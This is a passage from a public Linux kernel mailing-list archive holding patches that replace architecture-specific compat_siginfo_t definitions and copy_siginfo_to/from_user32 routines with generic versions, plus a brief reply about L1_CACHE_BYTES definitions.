        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Wed, 04 Nov 2015 16:51:38 -0800 (PST)
X-Mailer: git-send-email 2.6.2
In-Reply-To: <1446684640-4112-1-git-send-email-amanieu@gmail.com>
X-archive-position: 49844
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: amanieu@gmail.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:50996 gmane.linux.kernel:2078405 gmane.linux.ports.arm.kernel:453063 gmane.linux.ports.parisc:26120 gmane.linux.ports.ppc64.devel:120229 gmane.linux.ports.sparc:21714
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/50996>

This matches the normal siginfo_t as closely as possible, unlike
some architecture-specific versions which are missing some fields.

Signed-off-by: Amanieu d'Antras <amanieu@gmail.com>
---
 arch/arm64/include/asm/compat.h   |  2 ++
 arch/mips/include/asm/compat.h    |  1 +
 arch/parisc/include/asm/compat.h  |  2 ++
 arch/powerpc/include/asm/compat.h |  1 +
 arch/s390/include/asm/compat.h    |  2 ++
 arch/sparc/include/asm/compat.h   |  1 +
 arch/tile/include/asm/compat.h    |  1 +
 arch/x86/include/asm/compat.h     |  2 ++
 include/linux/compat.h            | 66 ++++++++++++++++++++++++++++++++++++++-
 9 files changed, 77 insertions(+), 1 deletion(-)

diff --git a/arch/arm64/include/asm/compat.h b/arch/arm64/include/asm/compat.h
index 7fbed69..ff4e294 100644
--- a/arch/arm64/include/asm/compat.h
+++ b/arch/arm64/include/asm/compat.h
@@ -155,6 +155,8 @@ typedef union compat_sigval {
 	compat_uptr_t	sival_ptr;
 } compat_sigval_t;
 
+#define HAVE_ARCH_COMPAT_SIGINFO_T
+
 typedef struct compat_siginfo {
 	int si_signo;
 	int si_errno;
diff --git a/arch/mips/include/asm/compat.h b/arch/mips/include/asm/compat.h
index c4bd54a..5f1f816 100644
--- a/arch/mips/include/asm/compat.h
+++ b/arch/mips/include/asm/compat.h
@@ -130,6 +130,7 @@ typedef union compat_sigval {
 	compat_uptr_t	sival_ptr;
 } compat_sigval_t;
 
+#define HAVE_ARCH_COMPAT_SIGINFO_T
 #define SI_PAD_SIZE32	(128/sizeof(int) - 3)
 
 typedef struct compat_siginfo {
diff --git a/arch/parisc/include/asm/compat.h b/arch/parisc/include/asm/compat.h
index 94710cf..e0be05f 100644
--- a/arch/parisc/include/asm/compat.h
+++ b/arch/parisc/include/asm/compat.h
@@ -134,6 +134,8 @@ typedef union compat_sigval {
 	compat_uptr_t	sival_ptr;
 } compat_sigval_t;
 
+#define HAVE_ARCH_COMPAT_SIGINFO_T
+
 typedef struct compat_siginfo {
 	int si_signo;
 	int si_errno;
diff --git a/arch/powerpc/include/asm/compat.h b/arch/powerpc/include/asm/compat.h
index 4f2df58..75b25ff 100644
--- a/arch/powerpc/include/asm/compat.h
+++ b/arch/powerpc/include/asm/compat.h
@@ -124,6 +124,7 @@ typedef union compat_sigval {
 	compat_uptr_t	sival_ptr;
 } compat_sigval_t;
 
+#define HAVE_ARCH_COMPAT_SIGINFO_T
 #define SI_PAD_SIZE32	(128/sizeof(int) - 3)
 
 typedef struct compat_siginfo {
diff --git a/arch/s390/include/asm/compat.h b/arch/s390/include/asm/compat.h
index d350ed9..ac73ac7 100644
--- a/arch/s390/include/asm/compat.h
+++ b/arch/s390/include/asm/compat.h
@@ -192,6 +192,8 @@ typedef union compat_sigval {
 	compat_uptr_t	sival_ptr;
 } compat_sigval_t;
 
+#define HAVE_ARCH_COMPAT_SIGINFO_T
+
 typedef struct compat_siginfo {
 	int	si_signo;
 	int	si_errno;
diff --git a/arch/sparc/include/asm/compat.h b/arch/sparc/include/asm/compat.h
index 830502fe..0c80f59 100644
--- a/arch/sparc/include/asm/compat.h
+++ b/arch/sparc/include/asm/compat.h
@@ -153,6 +153,7 @@ typedef union compat_sigval {
 	compat_uptr_t	sival_ptr;
 } compat_sigval_t;
 
+#define HAVE_ARCH_COMPAT_SIGINFO_T
 #define SI_PAD_SIZE32	(128/sizeof(int) - 3)
 
 typedef struct compat_siginfo {
diff --git a/arch/tile/include/asm/compat.h b/arch/tile/include/asm/compat.h
index c14e36f..f9bba8d 100644
--- a/arch/tile/include/asm/compat.h
+++ b/arch/tile/include/asm/compat.h
@@ -115,6 +115,7 @@ typedef union compat_sigval {
 	compat_uptr_t	sival_ptr;
 } compat_sigval_t;
 
+#define HAVE_ARCH_COMPAT_SIGINFO_T
 #define COMPAT_SI_PAD_SIZE	(128/sizeof(int) - 3)
 
 typedef struct compat_siginfo {
diff --git a/arch/x86/include/asm/compat.h b/arch/x86/include/asm/compat.h
index acdee09..69176b4 100644
--- a/arch/x86/include/asm/compat.h
+++ b/arch/x86/include/asm/compat.h
@@ -130,6 +130,8 @@ typedef union compat_sigval {
 	compat_uptr_t	sival_ptr;
 } compat_sigval_t;
 
+#define HAVE_ARCH_COMPAT_SIGINFO_T
+
 typedef struct compat_siginfo {
 	int si_signo;
 	int si_errno;
diff --git a/include/linux/compat.h b/include/linux/compat.h
index a76c917..e51574c 100644
--- a/include/linux/compat.h
+++ b/include/linux/compat.h
@@ -196,7 +196,71 @@ struct compat_rusage {
 extern int put_compat_rusage(const struct rusage *,
 			     struct compat_rusage __user *);
 
-struct compat_siginfo;
+#ifndef HAVE_ARCH_COMPAT_SIGINFO_T
+typedef struct compat_siginfo {
+	int si_signo;
+	int si_errno;
+	int si_code;
+
+	union {
+		int _pad[128 / sizeof(int) - 3];
+
+		/* kill() */
+		struct {
+			compat_pid_t _pid;	/* sender's pid */
+			compat_uid_t _uid;	/* sender's uid */
+		} _kill;
+
+		/* POSIX.1b timers */
+		struct {
+			compat_timer_t _tid;	/* timer id */
+			int _overrun;		/* overrun count */
+			compat_sigval_t _sigval;	/* same as below */
+		} _timer;
+
+		/* POSIX.1b signals */
+		struct {
+			compat_pid_t _pid;	/* sender's pid */
+			compat_uid_t _uid;	/* sender's uid */
+			compat_sigval_t _sigval;
+		} _rt;
+
+		/* SIGCHLD */
+		struct {
+			compat_pid_t _pid;	/* which child */
+			compat_uid_t _uid;	/* sender's uid */
+			int _status;		/* exit code */
+			compat_clock_t _utime;
+			compat_clock_t _stime;
+		} _sigchld;
+
+		/* SIGILL, SIGFPE, SIGSEGV, SIGBUS */
+		struct {
+			compat_uptr_t _addr;	/* faulting insn/memory ref. */
+#ifdef __ARCH_SI_TRAPNO
+			int _trapno;	/* TRAP # which caused the signal */
+#endif
+			short _addr_lsb; /* LSB of the reported address */
+			struct {
+				compat_uptr_t _lower;
+				compat_uptr_t _upper;
+			} _addr_bnd;
+		} _sigfault;
+
+		/* SIGPOLL */
+		struct {
+			compat_long_t _band; /* POLL_IN, POLL_OUT, POLL_MSG */
+			int _fd;
+		} _sigpoll;
+
+		struct {
+			compat_uptr_t _call_addr; /* calling insn */
+			int _syscall;	/* triggering system call number */
+			compat_uint_t _arch;	/* AUDIT_ARCH_* of syscall */
+		} _sigsys;
+	} _sifields;
+} compat_siginfo_t;
+#endif
 
 extern asmlinkage long compat_sys_waitid(int, compat_pid_t,
 		struct compat_siginfo __user *, int,
-- 
2.6.2




From - Thu Nov 08 21:38:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Amanieu d'Antras <amanieu@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v2 10/20] parsic: Use generic copy_siginfo_{to,from}_user32
Date: Thu,  5 Nov 2015 00:50:29 +0000
Lines: 133
Approved: news@gmane.org
Message-ID: <1446684640-4112-11-git-send-email-amanieu@gmail.com>
References: <1446684640-4112-1-git-send-email-amanieu@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1446684893 27913 80.91.229.3 (5 Nov 2015 00:54:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Nov 2015 00:54:53 +0000 (UTC)
Cc: Oleg Nesterov <oleg@redhat.com>,
	Amanieu d'Antras <amanieu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Nov 05 01:54:52 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Zu8pI-0002zU-3k
	for glk-linux-kernel-3@plane.gmane.org; Thu, 05 Nov 2015 01:54:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1031730AbbKEAys (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 4 Nov 2015 19:54:48 -0500
Original-Received: from mail-wi0-f172.google.com ([209.85.212.172]:35772 "EHLO
	mail-wi0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1031336AbbKEAvu (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 4 Nov 2015 19:51:50 -0500
Original-Received: by wicll6 with SMTP id ll6so204937wic.0;
        Wed, 04 Nov 2015 16:51:49 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=iFC4KWDRf82bWPxCPQFiW5l3yKgeP6Yle2J+QUSQoNk=;
        b=wD2mff9m5wQYPQ8TiQeJgoi4ewLkVU45R8IEwycMpOBApXul67UZjP7Me1yjZVMfvg
         hSZpMXdNkMlqXqXrYcj7QQVfp5Wt1v3sqCsHoyox9xncp347phMjkuRoV+gvR2qGxfi9
         +KJ/D3CfX6QacnWhsAQgN/F045+7YBFBEYskmlh5hXYHbTwo3BXzNMp7nY3cncmrsbwX
         kPUNgmSDvqwCWHqjYW+KZUchLZE65eDzv19Fv0hfqwEt/tD3o8FPN12st3azz2ZTkgz9
         iYPtynCo9r3SafLA/X0ua3Cdd+k+1mFWJEKAZKhD10itdcZIfUUGE4grFOe7IZFqfSZn
         WbGw==
X-Received: by 10.194.118.226 with SMTP id kp2mr5163056wjb.59.1446684709238;
        Wed, 04 Nov 2015 16:51:49 -0800 (PST)
Original-Received: from amanieu-laptop.wireless.ropemaker.crm.lan ([31.205.92.76])
        by smtp.gmail.com with ESMTPSA id 194sm5558927wmh.19.2015.11.04.16.51.48
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Wed, 04 Nov 2015 16:51:48 -0800 (PST)
X-Mailer: git-send-email 2.6.2
In-Reply-To: <1446684640-4112-1-git-send-email-amanieu@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2078419 gmane.linux.ports.parisc:26121
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2078419>

Signed-off-by: Amanieu d'Antras <amanieu@gmail.com>
---
 arch/parisc/include/asm/compat.h |   3 --
 arch/parisc/kernel/signal32.c    | 102 ---------------------------------------
 2 files changed, 105 deletions(-)

diff --git a/arch/parisc/include/asm/compat.h b/arch/parisc/include/asm/compat.h
index 6c80ae2..b56188b 100644
--- a/arch/parisc/include/asm/compat.h
+++ b/arch/parisc/include/asm/compat.h
@@ -134,9 +134,6 @@ typedef union compat_sigval {
 	compat_uptr_t	sival_ptr;
 } compat_sigval_t;
 
-#define HAVE_ARCH_COPY_SIGINFO_TO_USER32
-#define HAVE_ARCH_COPY_SIGINFO_FROM_USER32
-
 #define COMPAT_OFF_T_MAX	0x7fffffff
 #define COMPAT_LOFF_T_MAX	0x7fffffffffffffffL
 
diff --git a/arch/parisc/kernel/signal32.c b/arch/parisc/kernel/signal32.c
index 984abbe..635012f 100644
--- a/arch/parisc/kernel/signal32.c
+++ b/arch/parisc/kernel/signal32.c
@@ -273,105 +273,3 @@ setup_sigcontext32(struct compat_sigcontext __user *sc, struct compat_regfile __
 
 	return err;
 }
-
-int
-copy_siginfo_from_user32 (siginfo_t *to, compat_siginfo_t __user *from)
-{
-	compat_uptr_t addr;
-	int err;
-
-	if (!access_ok(VERIFY_READ, from, sizeof(compat_siginfo_t)))
-		return -EFAULT;
-
-	err = __get_user(to->si_signo, &from->si_signo);
-	err |= __get_user(to->si_errno, &from->si_errno);
-	err |= __get_user(to->si_code, &from->si_code);
-
-	if (to->si_code < 0)
-		err |= __copy_from_user(&to->_sifields._pad, &from->_sifields._pad, SI_PAD_SIZE);
-	else {
-		switch (to->si_code >> 16) {
-		      case __SI_CHLD >> 16:
-			err |= __get_user(to->si_utime, &from->si_utime);
-			err |= __get_user(to->si_stime, &from->si_stime);
-			err |= __get_user(to->si_status, &from->si_status);
-		      default:
-			err |= __get_user(to->si_pid, &from->si_pid);
-			err |= __get_user(to->si_uid, &from->si_uid);
-			break;
-		      case __SI_FAULT >> 16:
-			err |= __get_user(addr, &from->si_addr);
-			to->si_addr = compat_ptr(addr);
-			break;
-		      case __SI_POLL >> 16:
-			err |= __get_user(to->si_band, &from->si_band);
-			err |= __get_user(to->si_fd, &from->si_fd);
-			break;
-		      case __SI_RT >> 16: /* This is not generated by the kernel as of now.  */
-		      case __SI_MESGQ >> 16:
-			err |= __get_user(to->si_pid, &from->si_pid);
-			err |= __get_user(to->si_uid, &from->si_uid);
-			err |= __get_user(to->si_int, &from->si_int);
-			break;
-		}
-	}
-	return err;
-}
-
-int
-copy_siginfo_to_user32 (compat_siginfo_t __user *to, const siginfo_t *from)
-{
-	compat_uptr_t addr;
-	compat_int_t val;
-	int err;
-
-	if (!access_ok(VERIFY_WRITE, to, sizeof(compat_siginfo_t)))
-		return -EFAULT;
-
-	/* If you change siginfo_t structure, please be sure
-	   this code is fixed accordingly.
-	   It should never copy any pad contained in the structure
-	   to avoid security leaks, but must copy the generic
-	   3 ints plus the relevant union member.
-	   This routine must convert siginfo from 64bit to 32bit as well
-	   at the same time.  */
-	err = __put_user(from->si_signo, &to->si_signo);
-	err |= __put_user(from->si_errno, &to->si_errno);
-	err |= __put_user((short)from->si_code, &to->si_code);
-	if (from->si_code < 0)
-		err |= __copy_to_user(&to->_sifields._pad, &from->_sifields._pad, SI_PAD_SIZE);
-	else {
-		switch (from->si_code >> 16) {
-		case __SI_CHLD >> 16:
-			err |= __put_user(from->si_utime, &to->si_utime);
-			err |= __put_user(from->si_stime, &to->si_stime);
-			err |= __put_user(from->si_status, &to->si_status);
-		default:
-			err |= __put_user(from->si_pid, &to->si_pid);
-			err |= __put_user(from->si_uid, &to->si_uid);
-			break;
-		case __SI_FAULT >> 16:
-			addr = ptr_to_compat(from->si_addr);
-			err |= __put_user(addr, &to->si_addr);
-			break;
-		case __SI_POLL >> 16:
-			err |= __put_user(from->si_band, &to->si_band);
-			err |= __put_user(from->si_fd, &to->si_fd);
-			break;
-		case __SI_TIMER >> 16:
-			err |= __put_user(from->si_tid, &to->si_tid);
-			err |= __put_user(from->si_overrun, &to->si_overrun);
-			val = (compat_int_t)from->si_int;
-			err |= __put_user(val, &to->si_int);
-			break;
-		case __SI_RT >> 16:	/* Not generated by the kernel as of now.  */
-		case __SI_MESGQ >> 16:
-			err |= __put_user(from->si_uid, &to->si_uid);
-			err |= __put_user(from->si_pid, &to->si_pid);
-			val = (compat_int_t)from->si_int;
-			err |= __put_user(val, &to->si_int);
-			break;
-		}
-	}
-	return err;
-}
-- 
2.6.2


From - Thu Nov 08 21:38:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Amanieu d'Antras <amanieu@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v2 09/20] parisc: Use generic compat_siginfo_t
Date: Thu,  5 Nov 2015 00:50:28 +0000
Lines: 75
Approved: news@gmane.org
Message-ID: <1446684640-4112-10-git-send-email-amanieu@gmail.com>
References: <1446684640-4112-1-git-send-email-amanieu@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1446684933 28637 80.91.229.3 (5 Nov 2015 00:55:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 5 Nov 2015 00:55:33 +0000 (UTC)
Cc: Oleg Nesterov <oleg@redhat.com>,
	Amanieu d'Antras <amanieu@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Nov 05 01:55:32 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Zu8pu-0003YC-EO
	for glk-linux-kernel-3@plane.gmane.org; Thu, 05 Nov 2015 01:55:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1031736AbbKEAzR (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 4 Nov 2015 19:55:17 -0500
Original-Received: from mail-wi0-f170.google.com ([209.85.212.170]:33488 "EHLO
	mail-wi0-f170.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1031091AbbKEAvt (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 4 Nov 2015 19:51:49 -0500
Original-Received: by wijp11 with SMTP id p11so845516wij.0;
        Wed, 04 Nov 2015 16:51:48 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=XzGXOFfNXxxBPGTz9eAWhNl8YxNVdfc44F8jiUCq15w=;
        b=l5hznuOM8w0fd/x4sdvtxD2Opj4MsrCZhw7DNtIZ323KSxE+GbQ4Bn3oDVW/ujH8nu
         QABukYJDm9itL7I3YePzwCt4nfiTrtQEXXk6zNhA4XuN+Y2IjzANgeyQ1IiSdRrZyxGY
         uCBQknVyUV3FhoSmXsejrMpy2Zpj7KgXnjNyox6Qu3Qnl26AFDUEEPqTANTfdM/bXpoE
         hIkHZnwU56PpVgZ2XaUS8xRzjpXAKOdKFZ4YQrNdbu+XqczlX1BCMsrx5gPBFpizc9ZJ
         JmGBKjfOP5BFrTMwyGTKVJY0oZIP3ouD+Fx17b7yvTRFZi7e41wWXCzG67NtI8DHm2kv
         vn7Q==
X-Received: by 10.194.91.143 with SMTP id ce15mr5509768wjb.93.1446684708033;
        Wed, 04 Nov 2015 16:51:48 -0800 (PST)
Original-Received: from amanieu-laptop.wireless.ropemaker.crm.lan ([31.205.92.76])
        by smtp.gmail.com with ESMTPSA id 194sm5558927wmh.19.2015.11.04.16.51.47
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Wed, 04 Nov 2015 16:51:47 -0800 (PST)
X-Mailer: git-send-email 2.6.2
In-Reply-To: <1446684640-4112-1-git-send-email-amanieu@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2078420 gmane.linux.ports.parisc:26122
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2078420>

Signed-off-by: Amanieu d'Antras <amanieu@gmail.com>
---
 arch/parisc/include/asm/compat.h | 53 ----------------------------------------
 1 file changed, 53 deletions(-)

diff --git a/arch/parisc/include/asm/compat.h b/arch/parisc/include/asm/compat.h
index 46a0a8a..6c80ae2 100644
--- a/arch/parisc/include/asm/compat.h
+++ b/arch/parisc/include/asm/compat.h
@@ -134,62 +134,9 @@ typedef union compat_sigval {
 	compat_uptr_t	sival_ptr;
 } compat_sigval_t;
 
-#define HAVE_ARCH_COMPAT_SIGINFO_T
 #define HAVE_ARCH_COPY_SIGINFO_TO_USER32
 #define HAVE_ARCH_COPY_SIGINFO_FROM_USER32
 
-typedef struct compat_siginfo {
-	int si_signo;
-	int si_errno;
-	int si_code;
-
-	union {
-		int _pad[128/sizeof(int) - 3];
-
-		/* kill() */
-		struct {
-			unsigned int _pid;      /* sender's pid */
-			unsigned int _uid;      /* sender's uid */
-		} _kill;
-
-		/* POSIX.1b timers */
-		struct {
-			compat_timer_t _tid;            /* timer id */
-			int _overrun;           /* overrun count */
-			char _pad[sizeof(unsigned int) - sizeof(int)];
-			compat_sigval_t _sigval;        /* same as below */
-			int _sys_private;       /* not to be passed to user */
-		} _timer;
-
-		/* POSIX.1b signals */
-		struct {
-			unsigned int _pid;      /* sender's pid */
-			unsigned int _uid;      /* sender's uid */
-			compat_sigval_t _sigval;
-		} _rt;
-
-		/* SIGCHLD */
-		struct {
-			unsigned int _pid;      /* which child */
-			unsigned int _uid;      /* sender's uid */
-			int _status;            /* exit code */
-			compat_clock_t _utime;
-			compat_clock_t _stime;
-		} _sigchld;
-
-		/* SIGILL, SIGFPE, SIGSEGV, SIGBUS */
-		struct {
-			unsigned int _addr;     /* faulting insn/memory ref. */
-		} _sigfault;
-
-		/* SIGPOLL */
-		struct {
-			int _band;      /* POLL_IN, POLL_OUT, POLL_MSG */
-			int _fd;
-		} _sigpoll;
-	} _sifields;
-} compat_siginfo_t;
-
 #define COMPAT_OFF_T_MAX	0x7fffffff
 #define COMPAT_LOFF_T_MAX	0x7fffffffffffffffL
 
-- 
2.6.2


From - Thu Nov 08 21:38:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:38:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [GIT PULL] parisc architecture updates for v4.3
Date: Fri, 6 Nov 2015 15:10:21 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <CAMuHMdVa1eXfN9gMC_ztUC=_g5RA3FQm2xivpvo1CnCJgwGrcQ@mail.gmail.com>
References: <20151025114934.GA11108@ls3530.box>
	<CA+55aFyJyY1FE_1k6Ks-2j4nYr7cbde_KvZ=J3fMUFJG5Okijg@mail.gmail.com>
	<56393D46.6060903@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1446819048 20968 80.91.229.3 (6 Nov 2015 14:10:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Nov 2015 14:10:48 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	David Miller <davem@davemloft.net>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Network Development <netdev@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Nov 06 15:10:47 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Zuhj3-0004MJ-DF
	for glk-linux-kernel-3@plane.gmane.org; Fri, 06 Nov 2015 15:10:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1161641AbbKFOKa (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 6 Nov 2015 09:10:30 -0500
Original-Received: from mail-oi0-f48.google.com ([209.85.218.48]:36377 "EHLO
	mail-oi0-f48.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1161301AbbKFOKW (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 6 Nov 2015 09:10:22 -0500
Original-Received: by oiww189 with SMTP id w189so42242850oiw.3;
        Fri, 06 Nov 2015 06:10:21 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=ZCv4vaxOmTMZiOfqy3/xI7+JFlmtAtq9StcSueNIBi4=;
        b=UPEu0f0iGD/GSdI0w8jJ/RBVlb/n3KAXPlHM/5T+al2b2Nk9RO15trPmDCCRG+TzmG
         4SMZ6akaAzSzfBT+TBRpdRISyzOqhXSkdmlDujD+upWIn47myC0RK1Y9aWZDig4dIIcz
         rSsEuJKtYpayzP9jAmdi69lY/DHtQuCdim1ENFQs34IUeGuHxzu284TUHaJc2MpyhEq9
         Wy0PyVyLmtRf7Bm1BSWnSVritJdEXQBYABHWCUdSty0KT7wimchkvBH5wlnW8FN0Dbox
         /XLNCHX97tkLBcxPp8Rmi+7FzbLZ9+zn+JnQLa3u+GLXMHgwX1iMTSm89RlCKgrCaX8j
         W1JQ==
X-Received: by 10.202.60.214 with SMTP id j205mr7307782oia.99.1446819021391;
 Fri, 06 Nov 2015 06:10:21 -0800 (PST)
Original-Received: by 10.60.34.132 with HTTP; Fri, 6 Nov 2015 06:10:21 -0800 (PST)
In-Reply-To: <56393D46.6060903@gmx.de>
X-Google-Sender-Auth: T8kzADfGpQaDzpB7bmS1HVbkyM4
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2079750 gmane.linux.ports.parisc:26124 gmane.linux.network:386135
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2079750>

On Wed, Nov 4, 2015 at 12:03 AM, Helge Deller <deller@gmx.de> wrote:
>> Also, just looking at other things, we currently do have openrisc that has
>>
>>   #define L1_CACHE_BYTES 16
>>
>> so presumably openrisc would have had an issue with that XPS thing,
>
> and mn10300.

And several other architectures that define L1_CACHE_BYTES using
L1_CACHE_SHIFT.

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds

From - Thu Nov 08 21:38:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@amacapital.net>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.file-systems,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH v2 00/20] Fix handling of compat_siginfo_t
Date: Sat, 7 Nov 2015 21:09:27 -0800
Lines: 37
Approved: news@gmane.org
Message-ID: <CALCETrWKK_REdX7TJO8X7jC=8k=YdgJH_txXpC4Pdzn-tukg5A@mail.gmail.com>
References: <1446684640-4112-1-git-send-email-amanieu@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1446959399 6585 80.91.229.3 (8 Nov 2015 05:09:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Nov 2015 05:09:59 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Oleg Nesterov <oleg@redhat.com>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	Linux MIPS Mailing List <linux-mips@linux-mips.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	sparclinux@vger.kernel.org,
	Linux FS Devel <linux-fsdevel@vger.kernel.org>,
	linux-arch <linux-arch@vger.kernel.org>,
	Linux API <linux-api@vger.kernel.org>,
	Kenton Varda <kenton@sandstorm.io>
To: "Amanieu d'Antras" <amanieu@gmail.com>
Original-X-From: sparclinux-owner@vger.kernel.org Sun Nov 08 06:09:53 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
